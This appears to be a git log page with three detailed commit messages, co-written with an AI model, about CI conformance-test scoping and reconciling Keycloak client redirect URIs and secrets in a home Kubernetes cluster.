jakman85andClaude Opus 5	5fa278f61c	fix(ci): declare whole-repo scope instead of hand-writing a gate stage per invariant R-TEST-03 runs the conformance subset a change TOUCHES. That has one blind spot, and it is the worst-shaped kind: an invariant that quantifies over the whole tracked tree — or over subtrees ci/touched-requirements.sh's coarse path map keys to NOTHING (apps/, infra/, most of platform/) — cannot be selected BY the requirements a change touches, because the change most likely to break it attributes no requirement at all. Requirement-scoped selection then filters the check out of exactly that change. The repo's answer had been a hand-written "UNCONDITIONAL" stage per such check in ci/l0.sh: 3c flux-postbuild-substitution, 3d keycloak-client-secret-reconciler, 3e bulk-tier-distinct-from-replicated. Three near-identical 12-line rationales, three hardcoded check.sh paths, three copies of the same rc 0/3/* case block — and worst, a mechanism that failed SILENTLY, because whoever added the NEXT whole-repo invariant had to REMEMBER to write a stage, and if they forgot the check ran only when some unrelated requirement happened to be touched. A test now DECLARES the scope of its invariant and the runner enforces it: metadata: annotations: conformance.home.k3s/scope: "whole-repo" * conformance/lib/common.sh conf_dirs_for_scope(s) resolves the annotation. Carries the general rationale, once, instead of per stage. * conformance/run.sh --include-scope SCOPE unions declaring tests into select_dirs, still bounded by --layer. New --print-selection resolves the selection and exits, running nothing. * lib/run_l1_offline.py --unwired-scope: a SKIP of a declaring test exits 3, not 0. --summary-out: one step-summary line per executed check. * ci/l0.sh Stage 3b gains --include-scope whole-repo and an rc-3 arm. Stages 3c/3d/3e DELETED (-150 lines). * ci/l1.sh, ci/conformance.sh pass --include-scope too, so the next whole-repo invariant at ANY layer needs only the annotation. rc 3 SEMANTICS PRESERVED EXACTLY. A whole-repo check reporting "nothing to audit" is reporting that the tree it audits has VANISHED. The deleted stages called that "not a pass" and set the gate's rc=3; the runner now returns 3 and ci/l0.sh maps it to rc=3. A missing check file still degrades to not-green, never to silence. THE REASONING WAS RELOCATED, NOT DELETED. Each stage's incident narrative moved into the header of the test it describes, beside its scope annotation: the Cilium k8sServiceHost empty-substitution CNI outage (2026-09-01), 12 unusable Keycloak clients behind a green cluster (2026-09-06), and a multi-TB bulk volume landing on the 3-replica tier. AUDITED ALL 13 EXISTING l0-static TESTS, individually. 10 declare whole-repo scope; 3 are DELIBERATELY left requirement-scoped and say so in their own headers: * placeholder-guard-coupling — inputs are bootstrap/ + clusters/, both already mapped to a requirement it declares. Scoping cannot hide a breaking change. * dev-nodes-provisioned-as-code — inputs are infra/ and nothing else. * spec-immutability-enforced — inputs are ci/ and the read-only spec repo. The latter two were nonetheless under-gated because the PATH MAP was incomplete, which is the right place to fix a path-scoped invariant: infra/* -> R-ENV-01 added, and R-TEST-06 added to .gitea/\|ci/ (it is no longer an uncovered ID — spec-immutability-enforced carries the label, so attributing it no longer false-blocks the coverage gate). NEW conformance/tests/l0-static/whole-repo-invariants-wired (R-TEST-03) keeps the declarative mechanism honest for ALL declaring tests at once, replacing the three tests' individual "ci/l0.sh greps my own check.sh path" self-assertions. It proves the union EMPIRICALLY: with a requirement filter matching no test the L0 selection is empty, and with --include-scope it is every declaring test; a scope-declared synthetic SKIP exits 3 while an undeclared one exits 0; and a ci/.sh that hardcodes a check.sh path must belong to a test that also declares the scope, so the bespoke pattern cannot creep back. TASK 2 — a changed test attributes the requirements it CERTIFIES. ci/touched-requirements.sh gains detection rule 3: a change anywhere under conformance/tests/<test>/ attributes that test's own conformance.home.k3s/R- labels, read from its chainsaw-test.yaml. The content scan could not close this — it reads only added/removed lines, so it sees a change to the LABEL BLOCK but not to the test BODY, which is exactly the case that matters. Labels are read from HEAD or, failing that, from the BASE, so DELETING a test still attributes what it used to certify; otherwise removing the only verifier of a requirement is the cheapest way to make the gate stop checking it. Whole-line `#` comments are dropped first and *.md is untouched, honouring the existing "reference, not declaration" rules. Both changes are fail-closed: every one of them can only ADD tests or requirements to a run, never remove one. TESTS: new ci/tests/touched-requirements-test-attribution.test.sh (15 assertions) covers rule 3 — body-only edit, nested-fixture walk-up, test deletion, header-comment R-IDs not attributed, non-test paths unaffected, and both new path-map entries. The two existing suites still pass (39 assertions). `make -C ci test` runs all three. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-12 23:45:06 -05:00
jakman85andClaude Opus 5	6202d92c27	test(conformance): gate the URL desired state, and prove the selftest can fail L0 (212 assertions, was 175): * runs ci/render-keycloak-client-urls.py --check, so client-urls.yaml must be exactly what the realm import renders. A hand edit that makes the two disagree is unmergeable -- this is what keeps the realm import the single source of truth for hostnames rather than just the place they were first typed. * asserts client-urls.yaml and the realm import are rendered by the SAME Flux Kustomization. postBuild.substituteFrom is per-Kustomization, so a split would let one ${BASE_DOMAIN} resolve to two different values and the realm would converge on a hostname the HTTPRoutes do not serve. * asserts the desired state uses no substitution token the realm definition lacks, names only clients the import declares, and declares no field outside the five-field write surface; that the CronJob mounts it readOnly at the path the script defaults to; and that the script, renderer and check agree on which fields are writable. * NEW mutations.py: injects 12 plausible regressions into the EXTRACTED script and requires --selftest to catch every one. A passing suite proves nothing if it cannot fail, and "reported success while the realm was broken" is precisely what this component exists to end -- so the same standard applies to its own test. ~20s. L2: the audit Job now mounts keycloak-client-urls and asserts KEYCLOAK_CLIENT_URLS_AUDIT_OK. Without that it would pass on a realm still holding pre-migration redirect URIs -- the exact state prod was measured in. Alerts: the existing Failing/Stale pair is EXTENDED to name redirect-URI drift, not duplicated. One CronJob gets one pair; a second pair on the same job_name regex would fire twice for one cause. No new critical, no new permanently-firing rule. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-12 21:26:12 -05:00
jakman85andClaude Opus 5	23ea72d01e	feat(keycloak): reconcile client redirect URIs, not just client secrets The realm import is a one-shot that never re-runs, so a redirect URI changed in git reaches the realm never. Prod's stored URIs were measured still on the pre-migration hostname while git declared the new one -- after a BASE_DOMAIN flip every OIDC login fails with a redirect_uri mismatch, with the CR still reading Done=True and nothing alerting. Same failure class as the literal-placeholder secrets, same cure. EXTENDS the existing reconciler rather than adding a sibling. Decisive reason: a URL write needs NO new endpoint. It is the same minimal client PUT, and the current URLs already come back in the allow-listed client lookup -- so the allow-list is widened by nothing and the users/groups/roles/authentication guarantee is preserved unchanged rather than re-declared in a second copy. The ConfigMap also carries exactly one script key by L0 contract, so a sibling would have had to fork ~300 lines of safety-critical code that the header explicitly forbids forking. Reconciles redirectUris, webOrigins, rootUrl, baseUrl, adminUrl -- only the fields a client actually declares, and on a write only the fields that actually drifted. A field the desired state omits is UNMANAGED and left untouched; absence never means force-to-empty. THE TWO PASSES ARE INDEPENDENT. Each reads its own desired state and fails closed for its own fields only. A malformed URL ConfigMap cannot stop client-SECRET repair, which would otherwise make credential healing depend on a hostname file. List fields compare order-insensitively (sorted, not set -- duplicates are still drift), because Keycloak does not preserve the authored order of redirectUris and an order-sensitive compare would rewrite every client forever while reporting success. --selftest grows to 84 assertions covering the domain flip, a client gaining a URI, a client losing a stale one, a public client's URLs being managed while its secret is not, per-pass fail-closed, order-insensitivity, and a server that accepts a PUT without applying it. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-12 21:25:34 -05:00

1 2 3